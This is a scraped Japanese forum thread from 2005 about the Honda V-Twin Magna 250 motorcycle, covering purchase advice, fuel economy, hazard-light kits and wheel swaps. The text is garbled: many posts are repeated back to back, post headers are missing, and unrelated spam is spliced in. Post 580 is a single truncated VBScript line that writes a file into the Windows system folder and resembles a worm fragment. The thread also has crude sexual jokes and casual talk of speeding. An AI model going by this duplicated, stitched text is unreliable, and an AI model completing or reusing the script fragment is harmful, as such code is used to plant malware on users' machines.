今までお世話になりました～
539 ：７７４ＲＲ：2005/05/20(金) 03:57:46 ID:832KPncu
>>535
う～んf(^_^; 難しいよ
う～んf(^_^; 難しいよ
>>535
一個人の意見として聞いてね。
一番最初に乗るﾊﾞｲｸやったら、中古の方が良いと思う。
どーしてもｷﾚｲな新車に憧れる気持ちもわかるけど、
最初は立ちｺｹもしがちだし、ｶｽﾀﾑしたいんやったらﾊﾟｰﾂ代もかかる。
漏れやったら程度の良い中古を手に入れて、
浮いたお金をﾊﾟｰﾂ購入費にあてるなぁ。
あと程度の良い中古を選ぶのは新人ではﾑﾘﾎﾟ。
ﾊﾞｲｸの知識が豊富な人についていってもらって
一緒に探してもらった方が良いよ。
一個人の意見として聞いてね。
一番最初に乗るﾊﾞｲｸやったら、中古の方が良いと思う。
どーしてもｷﾚｲな新車に憧れる気持ちもわかるけど、
最初は立ちｺｹもしがちだし、ｶｽﾀﾑしたいんやったらﾊﾟｰﾂ代もかかる。
漏れやったら程度の良い中古を手に入れて、
浮いたお金をﾊﾟｰﾂ購入費にあてるなぁ。
あと程度の良い中古を選ぶのは新人ではﾑﾘﾎﾟ。
ﾊﾞｲｸの知識が豊富な人についていってもらって
一緒に探してもらった方が良いよ。
>>535氏
>>538氏に売って貰うのは？
新車から揃えたら全てコミコミで
100万は行かないにしても80万くらいは
覚悟した方がいいんじゃないのかな？
（バイク,パーツ,諸経費,任意,ヘルメ,etc）
中古の程度判断は
中古バイク雑誌の最初あたりで毎度書いてるものを読んでみては？
基本的にはあれでいいと思う。チェック項目メモって行ってみれば？
安いのはそれなりっていう風に思った方がいいよ。
バイク屋も一応プロとして値段を付けてるから。
プロよりも見抜く目があるなら話は別だけど。
どちらかと言うとお店が信用できるか出来ないかから始まるよ。
アフターが無い売り切りなお店はあまりよくない傾向に思われる。
>>538氏に売って貰うのは？
新車から揃えたら全てコミコミで
100万は行かないにしても80万くらいは
覚悟した方がいいんじゃないのかな？
（バイク,パーツ,諸経費,任意,ヘルメ,etc）
中古の程度判断は
中古バイク雑誌の最初あたりで毎度書いてるものを読んでみては？
基本的にはあれでいいと思う。チェック項目メモって行ってみれば？
安いのはそれなりっていう風に思った方がいいよ。
バイク屋も一応プロとして値段を付けてるから。
プロよりも見抜く目があるなら話は別だけど。
どちらかと言うとお店が信用できるか出来ないかから始まるよ。
アフターが無い売り切りなお店はあまりよくない傾向に思われる。
6年前に買ったマグナ
だんだん仕事が忙しくなり、乗る暇もなく3年ほど放置してしまったマグナ
やっと自分の時間ができたので、全部直した！！
バッテリー・エンジン周り・タイヤ・シューetc・・・
全部で10万くらいかかったけどやっぱマグナええわ～
サイドバッグも新しいのつけてボリュームアップ！
ちょっくら北海道までひとっ走りしてきます(｀･ω･´) ノシ
だんだん仕事が忙しくなり、乗る暇もなく3年ほど放置してしまったマグナ
やっと自分の時間ができたので、全部直した！！
バッテリー・エンジン周り・タイヤ・シューetc・・・
全部で10万くらいかかったけどやっぱマグナええわ～
サイドバッグも新しいのつけてボリュームアップ！
ちょっくら北海道までひとっ走りしてきます(｀･ω･´) ノシ
レス有難う御座います。
やっぱ中古のがいいですかね。購入相談スレで話を聞いた時は新車！新車！さっさと新車！って雰囲気だったんですが
>>新車から揃えたら全てコミコミで 100万は行かないにしても80万くらいは覚悟した方がいいんじゃないのかな？
80万…。保険とヘルメは金かからないとして、バイク新車だと60万くらい？ですしパーツ･諸経費も結構かかりそうですね。
>>ﾊﾞｲｸの知識が豊富な人についていってもらって一緒に探してもらった方が良いよ。
今高１で周りでバイク乗ってる人も数人しかいなく、先輩も知ってる人でバイク乗ってる人がいないからな…。
中古雑誌とかの最初辺りに書いてあるってやつ見とくだけでも平気かな。
>>どちらかと言うとお店が信用できるか出来ないかから始まるよ。
改造する時や修理をする時もお世話なると思うんで、ネットで評判いい所でも探してみますかね。
ところで、さっき調べていたら2in1マフラーが付けたいのですが、違法になっていて捕まると罰金取られるようなんですが
今2in1マフラーをつけている車は全部違法車なんですか？
あと、クラッシクフェンダーもつけたいのですが、マグナ用は無塗装の物ばっかになっているんですが、
バイクも色関係なく安くて状態のいい物を買って、後で全塗装してもらった方がいいですかね？
フェンダーとバイクの色が違ったら嫌ですし…。ちなみに作りたい色は黒です。
やっぱ中古のがいいですかね。購入相談スレで話を聞いた時は新車！新車！さっさと新車！って雰囲気だったんですが
>>新車から揃えたら全てコミコミで 100万は行かないにしても80万くらいは覚悟した方がいいんじゃないのかな？
80万…。保険とヘルメは金かからないとして、バイク新車だと60万くらい？ですしパーツ･諸経費も結構かかりそうですね。
>>ﾊﾞｲｸの知識が豊富な人についていってもらって一緒に探してもらった方が良いよ。
今高１で周りでバイク乗ってる人も数人しかいなく、先輩も知ってる人でバイク乗ってる人がいないからな…。
中古雑誌とかの最初辺りに書いてあるってやつ見とくだけでも平気かな。
>>どちらかと言うとお店が信用できるか出来ないかから始まるよ。
改造する時や修理をする時もお世話なると思うんで、ネットで評判いい所でも探してみますかね。
ところで、さっき調べていたら2in1マフラーが付けたいのですが、違法になっていて捕まると罰金取られるようなんですが
今2in1マフラーをつけている車は全部違法車なんですか？
あと、クラッシクフェンダーもつけたいのですが、マグナ用は無塗装の物ばっかになっているんですが、
バイクも色関係なく安くて状態のいい物を買って、後で全塗装してもらった方がいいですかね？
フェンダーとバイクの色が違ったら嫌ですし…。ちなみに作りたい色は黒です。
545 ：兄ちゃん：2005/05/20(金) 23:06:06 ID:hJA21HpD
このバイク買ってよかったですよ。めちゃくちゃ速いですし、乗ってる人、少なくて珍しがられますよ。マグナ？眼中になかったですね。 byエリミV乗り
546 ：７７４ＲＲ：2005/05/20(金) 23:11:13 ID:jNCDMjKt
こういうやつ定期的にくるよな。
ま、俺もエリミかマグナかで迷ったが、
いまはマグナにしてよかったって思ってるわ。
ま、俺もエリミかマグナかで迷ったが、
いまはマグナにしてよかったって思ってるわ。
ほんと、マグナですって！
エリミＶもエリミＳＥに比べると落ちた物ですね…
そのうちＶ４マグナと同じ道を辿（ry
そのうちＶ４マグナと同じ道を辿（ry
各地で引っ張りだこ！「新庄リアルマネキン」全国行脚
北海道日本ハムファイターズの新庄剛志選手をイメージキャラクターに起用しているグンゼが
３０体限定で製作した「新庄リアルマネキン」と、グンゼガールの出水千晴（２２）が１９日、
東京・大手町のサンケイスポーツを訪れた。
同社は現在、新庄マネキンを先頭に立てた全国キャラバンを展開中。
その途中にフラリと立ち寄ったもの。「鍛え上げた肉体美」を誇る新庄マネキンは各地で引っ張りだこだそうで、
「一緒に写真をとる人が多いんですよ」（出水）。
http://www.zeechan.com/a/src/1116568502705.jpg
北海道日本ハムファイターズの新庄剛志選手をイメージキャラクターに起用しているグンゼが
３０体限定で製作した「新庄リアルマネキン」と、グンゼガールの出水千晴（２２）が１９日、
東京・大手町のサンケイスポーツを訪れた。
同社は現在、新庄マネキンを先頭に立てた全国キャラバンを展開中。
その途中にフラリと立ち寄ったもの。「鍛え上げた肉体美」を誇る新庄マネキンは各地で引っ張りだこだそうで、
「一緒に写真をとる人が多いんですよ」（出水）。
http://www.zeechan.com/a/src/1116568502705.jpg
550 ：７７４ＲＲ：2005/05/22(日) 23:13:41 ID:E+GHcGJR
キ // /::::://O/,| /
ュ / |'''' |::::://O//| /
.ッ ＼ |‐┐ |::://O/ ノ ヾ､/
： |__」 |/ヾ. ／ ／
ヽ ／＼ ヽ___ﾉ ／ . へ、,／
／ × / { く ／
く ／＿ ＼ !､.ノ `ー''"
／＼ ''" //
| ＼／､／ ﾞ′
|＼ ／|＼￣
＼|
ュ / |'''' |::::://O//| /
.ッ ＼ |‐┐ |::://O/ ノ ヾ､/
： |__」 |/ヾ. ／ ／
ヽ ／＼ ヽ___ﾉ ／ . へ、,／
／ × / { く ／
く ／＿ ＼ !､.ノ `ー''"
／＼ ''" //
| ＼／､／ ﾞ′
|＼ ／|＼￣
＼|
,.-ーーｰｰ - ､
. / .'""""""""i
ｌ ゝ | ずっとベンチだから
| ｜ ━ ━
| / ‐ ‐
（6 ＼ お尻とベンチがくっついちゃったよ
ヽ ,,,,, ─'
,.-ヽ. ￣￣l
/ ／ '''''''''､ヽ.
｜ ｜ i<†>| |
|￣￣＼ > l '､/ ￣|
|＿＿＿ｌ ､ ヽ＿＿|
|＼ ＼;⌒) ､;⌒) ＼
||￣￣￣|＿| |＿| ￣￣￣||
(＿ヽ(＿ヽ
マグナ250のライトまぶし過ぎage
今までリッター24～5だったのに初めて28で走った俺が来ましたよ
俺のマグナは街乗り18ｋｍ/ｌくらいだぞ・・・・うらやますぃ
何か低速で走ってるとシートの下あたりから「ガコン！ガコン！」って音がする((((;゜д゜)))高速走行時は無音なんだが。。 タイヤはパンクしてないし、外れかけてる部品も無いのに…。 これってなんなんでしょう(´Д｀)？コワイオ
ｶﾞｸﾌﾞﾙな>>>555 はよ店に行きなされ
559 ：７７４ＲＲ：2005/05/26(木) 23:00:06 ID:ny7Fkdox
>>558
チェーンとスプロケ+工賃で3万コースです
チェーンとスプロケ+工賃で3万コースです
560 ：７７４ＲＲ：2005/05/26(木) 23:33:50 ID:LV8Mv8XI
俺マグナ５０乗ってるよ
フゥ―――――(●∀●)―――――ウ!
多分伸びの方だと思うよ。
注油をある程度してたらそんなに劣化（主にチェーンの一部分が固まる等）することないし。
調整だけなら1000円くらい。
注油をある程度してたらそんなに劣化（主にチェーンの一部分が固まる等）することないし。
調整だけなら1000円くらい。
>>563ありがとうございます(`・ω・´) 自分では調整出来ませんかね～ 素直にバイク屋行ってきまつ
565 ：７７４ＲＲ：2005/05/27(金) 19:31:17 ID:LQz++5KI
来月十日に新車ｸﾙｰ
楽しみで夜も眠れないよage
楽しみで夜も眠れないよage
>>565
オメ！白黒どっち？
オメ！白黒どっち？
,.-ーーｰｰ - ､
. / .'""""""""i
ｌ ゝ | 僕ちゃんだって日本に帰れば代表の中心なんだぞ。
| ｜ ━ ━
| / ‐ ‐
（6 ＼ もう、ぷんぷん。
ヽ ,,,,, ─'
,.-ヽ. ￣￣l
/ ／ '''''''''､ヽ.
｜ ｜ i<†>| |
|￣￣＼ > l '､/ ￣|
|＿＿＿ｌ ､ ヽ＿＿|
|＼ ＼;⌒) ､;⌒) ＼
||￣￣￣|＿| |＿| ￣￣￣||
(＿ヽ(＿ヽ
569 ：７７４ＲＲ：2005/05/28(土) 20:19:36 ID:aI5YIEJz
唐age
リジットサスつけたんだけど、あえて7ｃｍダウンを選んだのにそれでもエキパイすりまくり。
１０ｃｍダウンの方々はどうやって曲がってるのかと
１０ｃｍダウンの方々はどうやって曲がってるのかと
571 ：７７４ＲＲ：2005/05/29(日) 22:07:22 ID:NZj0f+Nk
「SPIRIT OF THE PHOENIX」の立体エンブレムがすごく欲しい！！
タンクに付けたい。
どなたか純正部品番号を知っていたら教えてください。
自分が持っているパーツリストは古いので記載されてないんです。
タンクに付けたい。
どなたか純正部品番号を知っていたら教えてください。
自分が持っているパーツリストは古いので記載されてないんです。
国道一号を200ｋくらい走って燃費を測ってみた
リッター28だった
リッター28だった
スクリーン付けた １２０キロ出しても何てこと無い
赤切符もらいそうだ
赤切符もらいそうだ
サイドバックつけたい。バックレストもほしい。
乳がやわらかくて口がかたい女がほすい。
おれはマグナちゃんがいれば幸せﾊｧﾊｧ(*´Д`)
>>574
ハウマッチ？
ハウマッチ？
そこで何故に値段を聞くのかと小(ry
オイラもサイドバック欲しいのら～
580 ：７７４ＲＲ：2005/06/01(水) 05:07:58 ID:R/XU1JDl
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ここは日記スレですか？
8年前、新車で買ったうちのマグナが
めでたく55555kmの切番到達。
ｺﾝｺﾞﾄﾓﾖﾛｼｸ。
めでたく55555kmの切番到達。
ｺﾝｺﾞﾄﾓﾖﾛｼｸ。
玉ねぎ ３個
肉４００ｇ
マッシュルーム 一缶
コーン 一缶
ルー １箱
肉４００ｇ
マッシュルーム 一缶
コーン 一缶
ルー １箱
MAGNA '94にもハザードは付いてるんですか？
586 ：７７４ＲＲ：2005/06/02(木) 00:59:36 ID:L1brUq4q
ぁぁ～ハザード付けたいなぁ(゜д゜)
皆さん、ウィンカーは純正品を取り付けてます？
588 ：７７４ＲＲ：2005/06/02(木) 11:19:26 ID:ZfXVSoV4
>>586
普通に買って付けたらどうだ？
普通に買って付けたらどうだ？
ちょっとの事でさすがにこれだけ出したくはないわな。
俺もハザードつけたいが、これはちょっと高い。
スロットで１０万とか勝ったら買うかもしれんが。
http://www.hi-1000.com/commodity/hazard.htm
俺もハザードつけたいが、これはちょっと高い。
スロットで１０万とか勝ったら買うかもしれんが。
http://www.hi-1000.com/commodity/hazard.htm
ハザードをつける方法は2種類
市販の汎用ハザードキット
http://www.e-seed.co.jp/p/031031707/
をつけるか
ホンダからマグナSのハンドルスイッチとハーネス関係をそろえてハザードをつけるかどちらか
上の方法なら自分で取り付ければ6000円以下だけどスイッチの取り付け位置とかで迷う
下の方法なら金は2万くらい掛かるけどハンドルスイッチに収まるからスマート
市販の汎用ハザードキット
http://www.e-seed.co.jp/p/031031707/
をつけるか
ホンダからマグナSのハンドルスイッチとハーネス関係をそろえてハザードをつけるかどちらか
上の方法なら自分で取り付ければ6000円以下だけどスイッチの取り付け位置とかで迷う
下の方法なら金は2万くらい掛かるけどハンドルスイッチに収まるからスマート
中2の頃から欲しいと言い続け早10年…
途中でPCにハマッて200万使わなければ
とっくに買えてたのに…＿|￣|○
でも……やっと買える!!!!
>>445
ちょwwwおまwwwﾃﾗﾜﾛｽwwww
俺が居るのかと(ry wwwww
途中でPCにハマッて200万使わなければ
とっくに買えてたのに…＿|￣|○
でも……やっと買える!!!!
>>445
ちょwwwおまwwwﾃﾗﾜﾛｽwwww
俺が居るのかと(ry wwwww
>>591
漏れはﾊﾟﾁﾝｺ＆ｽﾛでそれぐらい…orz
漏れはﾊﾟﾁﾝｺ＆ｽﾛでそれぐらい…orz
>>593
ビンゴやっとけ。
ビンゴやっとけ。
ハザード
ウィンカー球をLEDにするとハザードになるよ！
ウィンカー球をLEDにするとハザードになるよ！
596 ：７７４ＲＲ：2005/06/04(土) 23:43:25 ID:XPGUF2OU
だ、騙されないぞ…(;゜д゜)
598 ：７７４ＲＲ：2005/06/05(日) 01:08:26 ID:s8/vRamw
>>597
分かったwそゆことね
分かったwそゆことね
ひとしです・・
友達にサドルバッグを貸してあげたとです・・純正マフラーのV-TWINマグ乗りの友達だす・・
返してもらったら真っ黒なすすがついてて手が真っ黒になったとです！！
ひとしです・・
友達にサドルバッグを貸してあげたとです・・純正マフラーのV-TWINマグ乗りの友達だす・・
返してもらったら真っ黒なすすがついてて手が真っ黒になったとです！！
ひとしです・・
600 ：７７４ＲＲ：2005/06/05(日) 21:28:18 ID:VmiCfyu3
質問です。
MAGNAのフロントorリアをスポークホイールに変更って出来るんですか？
実際にやってる人いたら詳細というか付け方教えて下さい。
もしくは、そういうサイトの情報あったらお願い！
MAGNAのフロントorリアをスポークホイールに変更って出来るんですか？
実際にやってる人いたら詳細というか付け方教えて下さい。
もしくは、そういうサイトの情報あったらお願い！
>>600
601の言うとおり何でもつく
ただ改造は必須。
ポン付けできるなんて甘ったるい考えしているなら
10万とか20万もってカスタムショップに頼め
はめたいホイールがあってそれがフォークやスイングアームよりも
大きかったらトリプルを交換するなりスイングアームを幅広になるように作り変えればいい
それに付随してブレーキ周りの取り付け改造も必要になる。
ホイール交換によるスプロケの交換やチェーンラインの変更も出てくる
シャフトの太さが違えばカラーを作るなり太いシャフトを作る
幅が足りなければカラーを入れてセンターが出るように調整する
601の言うとおり何でもつく
ただ改造は必須。
ポン付けできるなんて甘ったるい考えしているなら
10万とか20万もってカスタムショップに頼め
はめたいホイールがあってそれがフォークやスイングアームよりも
大きかったらトリプルを交換するなりスイングアームを幅広になるように作り変えればいい
それに付随してブレーキ周りの取り付け改造も必要になる。
ホイール交換によるスプロケの交換やチェーンラインの変更も出てくる
シャフトの太さが違えばカラーを作るなり太いシャフトを作る
幅が足りなければカラーを入れてセンターが出るように調整する
スポークホイールだとチューブタイヤになるから嫌だ。
と考えてる俺には理解できない欲求だわ。
と考えてる俺には理解できない欲求だわ。
604 ：７７４ＲＲ：2005/06/06(月) 17:46:53 ID:HSMLYwtg
こんにちは。
２５０アメリカン探しててマグナにたどり着きました。
体格がいいので、できるだけ大きい２５０アメリカンが欲しいのですが。
４００とかは車検があるので除外です。
実寸法もさる事ながら、見た目や重量感も大事ですよね。
実車を見た感じでは２５０アメリカンではマグナが一番大きいですか？
２５０アメリカン探しててマグナにたどり着きました。
体格がいいので、できるだけ大きい２５０アメリカンが欲しいのですが。
４００とかは車検があるので除外です。
実寸法もさる事ながら、見た目や重量感も大事ですよね。
実車を見た感じでは２５０アメリカンではマグナが一番大きいですか？
605 ：600：2005/06/06(月) 18:13:50 ID:WSKqwSrX
>>601 >>602
レス有難う御座います。
言葉はキツイですけど（笑）、カスタムの要点を教えて頂き
ありがとうございます。
まずは自分が人柱になって頑張ってみます。
>>603
確かにチューブタイヤだとパンクが恐いですよね。
レス有難う御座います。
言葉はキツイですけど（笑）、カスタムの要点を教えて頂き
ありがとうございます。
まずは自分が人柱になって頑張ってみます。
>>603
確かにチューブタイヤだとパンクが恐いですよね。
>>604
178cm 100kgの俺よりでかいのか？
178cm 100kgの俺よりでかいのか？
オレも最近バイク屋をめぐってきた者だが
マグナも大きいけどエリミＶも同じくらい大きいぞ
マグナも大きいけどエリミＶも同じくらい大きいぞ
生活習慣病予備軍の人は自転車にでも乗ってください。
自転車折れちゃうよ
http://www.kawasaki-motors.com/model/eliminator250v/spec.jsp
http://www.honda.co.jp/motor-lineup/v_twin_magna/spec/index.html
全長はわずかにエリミが長いな、全幅はマグナが10センチ長い。
ちゅーか、エリミが6速で比較的高回転型だと初めて知った。
250でこれだと停止からの加速が眠そうな悪寒。
http://www.honda.co.jp/motor-lineup/v_twin_magna/spec/index.html
全長はわずかにエリミが長いな、全幅はマグナが10センチ長い。
ちゅーか、エリミが6速で比較的高回転型だと初めて知った。
250でこれだと停止からの加速が眠そうな悪寒。
612 ：７７４ＲＲ：2005/06/08(水) 01:17:34 ID:Js8A7tUS
☆★Ｖ－ＴＷＩＮマグナ★☆
http://2ch.pop.tc/log/05/06/06/2145/1059044716.html
☆★Ｖ－ＴＷＩＮマグナ★☆（マグナ総合？）part2
http://2ch.pop.tc/log/05/06/06/0117/1070818747.html
☆★V-TWINマグナ★☆Part3+2の残り
http://2ch.pop.tc/log/05/06/06/0117/1091191788.html
http://2ch.pop.tc/log/05/06/06/2145/1059044716.html
☆★Ｖ－ＴＷＩＮマグナ★☆（マグナ総合？）part2
http://2ch.pop.tc/log/05/06/06/0117/1070818747.html
☆★V-TWINマグナ★☆Part3+2の残り
http://2ch.pop.tc/log/05/06/06/0117/1091191788.html
613 ：７７４ＲＲ：2005/06/08(水) 11:02:33 ID:DJKedRk8
TW200かマグナ250にしようか迷ってます。
よろしければマグナのメリット、デメリットを教えてほしいのですが…。
よろしければマグナのメリット、デメリットを教えてほしいのですが…。
>>613
TW200 が最高だぜ！
TW200 が最高だぜ！
>>613
エリミとかならわかるが、ＴＷとの違いなんて一目見りゃわかるだろ、、、
ＴＷは完全街乗り、長時間ライドには向かないシートおよびタンク容量。
車重が軽いし加速良さそうだが、200（225）ｃｃで4スト、単気筒、SOHCなんて
加速・最高速ともに高が知れてる。街乗り・足ってだけなら安いしＴＷでいいかもしれん。
マグナのいいとこは過去ログおよびこれからのレスに期待しる。
エリミとかならわかるが、ＴＷとの違いなんて一目見りゃわかるだろ、、、
ＴＷは完全街乗り、長時間ライドには向かないシートおよびタンク容量。
車重が軽いし加速良さそうだが、200（225）ｃｃで4スト、単気筒、SOHCなんて
加速・最高速ともに高が知れてる。街乗り・足ってだけなら安いしＴＷでいいかもしれん。
マグナのいいとこは過去ログおよびこれからのレスに期待しる。
ノーマルのTWはかっこいいけど、ロンスイ・スパトラ・鬼ハン・スカチューンのTWは糞
突然質問です。
前輪のホイール固定部分なんだけど、
右側ってデカイボルトで止まってるよね。
左側って、なんかついてたっけ？
なんか、縦にピンが刺さりそうな穴があいてるんだけど。
もしかして、とれて落ちちゃったかな？
グリースがべとっとついてるんだけど、部品は特になし。
ちょっと恐いので、おせーてください。
前輪のホイール固定部分なんだけど、
右側ってデカイボルトで止まってるよね。
左側って、なんかついてたっけ？
なんか、縦にピンが刺さりそうな穴があいてるんだけど。
もしかして、とれて落ちちゃったかな？
グリースがべとっとついてるんだけど、部品は特になし。
ちょっと恐いので、おせーてください。
>>617
おおっ それは へんたいだ。
おおっ それは へんたいだ。
619 ：７７４ＲＲ：2005/06/09(木) 10:38:48 ID:HWFmYHig
ワインレッドのV-TWIN MAGNAに一目惚れ。
金無いのにローン組む計画とか考えてしまってる。
マジ買ってしまいそう。
金無いのにローン組む計画とか考えてしまってる。
マジ買ってしまいそう。
>>619
玉数少ないキャンディブルーを探して見つけて即貧乏ローンで買って、
今から３０ｋｍ離れたバイク屋に取りに行く俺が来ましたよ
仕事忙しくて買って納車連絡から引き取りにいくまで１ヶ月近くかかってしまったorz
やっと、取りにいけるよ！
玉数少ないキャンディブルーを探して見つけて即貧乏ローンで買って、
今から３０ｋｍ離れたバイク屋に取りに行く俺が来ましたよ
仕事忙しくて買って納車連絡から引き取りにいくまで１ヶ月近くかかってしまったorz
やっと、取りにいけるよ！
>>617
俺のもそうなってたから仕様かと
俺のもそうなってたから仕様かと
>>620
納車オメ！ﾏｸﾞﾅﾀｿのｶｺﾖｻを世間に広めてくだされ。
納車オメ！ﾏｸﾞﾅﾀｿのｶｺﾖｻを世間に広めてくだされ。
625 ：７７４ＲＲ：2005/06/10(金) 12:54:51 ID:lRKHItu2
タンデムしてもよゆーありますか？
座らせてもらっただけだが正直きつかった
ウンチングスタイル(死語)で尻餅ついてるみたいな
ウンチングスタイル(死語)で尻餅ついてるみたいな
628 ：７７４ＲＲ：2005/06/10(金) 16:13:36 ID:lRKHItu2
>>626-627
いちおー女性（40-50ｋｍくらいか？）が乗る事をそーていしてますが
お二方体系はどんなぐあいで？
純正の背もたれはつけよーかと
パーツがまだまだいっぱいあるのが魅力だけど、銀がなくなった・・・今
エミリとどっち買おうか悩んでる者でし
いちおー女性（40-50ｋｍくらいか？）が乗る事をそーていしてますが
お二方体系はどんなぐあいで？
純正の背もたれはつけよーかと
パーツがまだまだいっぱいあるのが魅力だけど、銀がなくなった・・・今
エミリとどっち買おうか悩んでる者でし
629 ：７７４ＲＲ：2005/06/10(金) 16:25:04 ID:lRKHItu2
ｋｇの間違いだな
俺、どうかしちゃってる
俺、どうかしちゃってる
>>628
155cm45kgくらいかな。
俺は純正バックレストつけてるけど、シートのベルトは持てなくて、腰のベルト掴ませてます。
あとブレーキかけるたびに、毎回後頭部にヘッドバッドかましてくれます(´Д｀)
155cm45kgくらいかな。
俺は純正バックレストつけてるけど、シートのベルトは持てなくて、腰のベルト掴ませてます。
あとブレーキかけるたびに、毎回後頭部にヘッドバッドかましてくれます(´Д｀)
>>630
俺は今はBANDIT乗ってますが、ブレーキのたびに
半キャップのツバがコツコツ当たっててキツツキみたいです(;´ー`)y-~~
後ろに乗るのが上手い人はそうでもないんですが・・・
マグナはタンデムステップの位置が高いと思うんですけど、いじって下げたりできないんでしょうか。
俺は今はBANDIT乗ってますが、ブレーキのたびに
半キャップのツバがコツコツ当たっててキツツキみたいです(;´ー`)y-~~
後ろに乗るのが上手い人はそうでもないんですが・・・
マグナはタンデムステップの位置が高いと思うんですけど、いじって下げたりできないんでしょうか。
エリミよりV-TWIN MAGNA(・∀・)<age
634 ：７７４ＲＲ：2005/06/11(土) 12:24:05 ID:1NzbrNXH
マフラーとハンドル交換しちゃえば、人類99％は
同じような物としか思わんだろう＞エミもマグも
だったらハイパワーのがとりあえずいいかなと思う
でもいざカスタムしようとするとなーんもできなきエミ
同じような物としか思わんだろう＞エミもマグも
だったらハイパワーのがとりあえずいいかなと思う
でもいざカスタムしようとするとなーんもできなきエミ
635 ：あ：2005/06/11(土) 16:49:25 ID:jIhJdun0
マグナ250 譲ってくれる人 いませんかぁ～
637 ：７７４ＲＲ：2005/06/11(土) 18:17:19 ID:VDXBLjxn
今日、注文しました。黒マグナ。
負けてもらって新車４８マソです。
納期一ヶ月、早く来ないかな～(・∀・)
負けてもらって新車４８マソです。
納期一ヶ月、早く来ないかな～(・∀・)
638 ：７７４ＲＲ：2005/06/11(土) 21:27:43 ID:M3iZHUTU
MAGNA→VAGNA まずMとVは「ム」と「ヴ」だから語感が似てる。
マグナ～→マギュナ→～ヴァグナ～ と呼ぶ。
ん？ヴァグナ？ ヴァギナじゃん。
HONDAヴァギナ (・∀・)ｲｲ!!
マグナ～→マギュナ→～ヴァグナ～ と呼ぶ。
ん？ヴァグナ？ ヴァギナじゃん。
HONDAヴァギナ (・∀・)ｲｲ!!
639 ：７７４ＲＲ：2005/06/11(土) 21:31:04 ID:M3iZHUTU
a
640 ：７７４ＲＲ：2005/06/11(土) 21:32:04 ID:M3iZHUTU
age
641 ：７７４ＲＲ：2005/06/11(土) 21:32:26 ID:3LyC/62T
赤男爵で９４式シルバー３２万でした。中古車って買ったことないんやけど、値段ってこんなかんじですか？新車とどっちがよいかアドバイスくださいませm(__)m
642 ：７７４ＲＲ：2005/06/11(土) 21:33:33 ID:M3iZHUTU
あげ
あのさ、今新車買ってから走行1000kmちょっとなんだけど、
まだ初回点検してません。
初回点検する前に明日往復500kmのﾂｰﾘﾝｸﾞしたらマズい？
バイクに悪いですかね？
まだ初回点検してません。
初回点検する前に明日往復500kmのﾂｰﾘﾝｸﾞしたらマズい？
バイクに悪いですかね？
645 ：７７４ＲＲ：2005/06/11(土) 21:42:27 ID:4z1iD8LV
age
646 ：７７４ＲＲ：2005/06/11(土) 21:45:47 ID:M3iZHUTU
あげ
647 ：７７４ＲＲ：2005/06/12(日) 00:30:35 ID:SHr6j5y9
あげ
あげ
649 ：７７４ＲＲ：2005/06/12(日) 01:07:00 ID:HVq5OAp1
650 ：７７４ＲＲ：2005/06/12(日) 01:11:58 ID:HVq5OAp1
・・・車体価格税抜きなら、おかしくないか・・・
651 ：641：2005/06/12(日) 07:31:05 ID:wAQ7zuWb
＞643
アドバイスありがとう。やはり高いですか。友人にも同じ事言われました。少し無理して新車購入思案しますm(__)m
アドバイスありがとう。やはり高いですか。友人にも同じ事言われました。少し無理して新車購入思案しますm(__)m
それか違う店まわってみれ。
走行距離にもよるけど94年なら20数万くらいであるんじゃね？
さすがに10年経ってるからもういいタマは無いのかもしれんが。
走行距離にもよるけど94年なら20数万くらいであるんじゃね？
さすがに10年経ってるからもういいタマは無いのかもしれんが。
653 ：７７４ＲＲ：2005/06/13(月) 00:37:42 ID:n8Vmj9Sl
あげ
654 ：７７４ＲＲ：2005/06/13(月) 02:24:43 ID:PJ0nOARb
ってか、１０年前ものバイクには乗りたくないな
バイクってなんだかんだで交換するものも結構おおいし
ちぇん、すぷろけ、たいや、ぶれきぱっと
フロントのインナー・・・名前とんだお
伸び縮みするところからのオイル漏れも警戒しなきゃいけないし
そこらへんちょっと交感したらかるく５～１０万いっちゃう
バイクってなんだかんだで交換するものも結構おおいし
ちぇん、すぷろけ、たいや、ぶれきぱっと
フロントのインナー・・・名前とんだお
伸び縮みするところからのオイル漏れも警戒しなきゃいけないし
そこらへんちょっと交感したらかるく５～１０万いっちゃう
655 ：７７４ＲＲ：2005/06/13(月) 02:28:08 ID:EcmXCyb6
物凄く頭悪そうなレスだな
お前喧嘩うってんのか
>>654バイク好きの極貧貧乏学生の嘆き…乙(・∀・)！
>>655を代弁すると、
普通は10年もかからずどんどん交換していく部品があるから、
年式が10年前だからといって交換費用がかさむってのは見当違いなわけ。
とりあえず、走行距離が多い中古を買う場合は気をつけろって事は言える。
まぁ、バイクと言っても金かかるって話だわな。
普通は10年もかからずどんどん交換していく部品があるから、
年式が10年前だからといって交換費用がかさむってのは見当違いなわけ。
とりあえず、走行距離が多い中古を買う場合は気をつけろって事は言える。
まぁ、バイクと言っても金かかるって話だわな。
新車で買わない限り
大体どこかのパーツは交換する事が多少あるし
658が言うように一度の全部交換するなんてまずありえない
中古を店で買うにしてもまともなところで買えば安全に走行できる状態にして受け渡すのが当たり前だし
>>641
カスタムでフォアコン付けたいとか社外マフラーの選べる幅を広げたいなら98年以前のものを薦める
正直ハザードは使わないし、あったら便利かなって程度のもの
赤男爵で購入する場合は641が全国転勤するような仕事とかだったらそれもいいんと思う。
赤男爵なら全国展開だからある程度のメンテナンスはどこでも受けれる。
バイク屋は結構買ってくれたところ以外だと見てくれなかったりぼったくりをしてくるところもあるから
すんでいるところに大型バイクショップみたいなのが無くて整備はそこで購入じゃなくてもokみたいなのが無いならいいと思う。
ついでにマグナのエンジンはかなり丈夫だから5万とか6万キロ位でもエンジンをかけさせてもらって調子を見せてもらえたりしてよかったら問題ないと思う。
嫌がるなら何か分けあり品の可能性もあるから別で見たほうがいいと思う
大体どこかのパーツは交換する事が多少あるし
658が言うように一度の全部交換するなんてまずありえない
中古を店で買うにしてもまともなところで買えば安全に走行できる状態にして受け渡すのが当たり前だし
>>641
カスタムでフォアコン付けたいとか社外マフラーの選べる幅を広げたいなら98年以前のものを薦める
正直ハザードは使わないし、あったら便利かなって程度のもの
赤男爵で購入する場合は641が全国転勤するような仕事とかだったらそれもいいんと思う。
赤男爵なら全国展開だからある程度のメンテナンスはどこでも受けれる。
バイク屋は結構買ってくれたところ以外だと見てくれなかったりぼったくりをしてくるところもあるから
すんでいるところに大型バイクショップみたいなのが無くて整備はそこで購入じゃなくてもokみたいなのが無いならいいと思う。
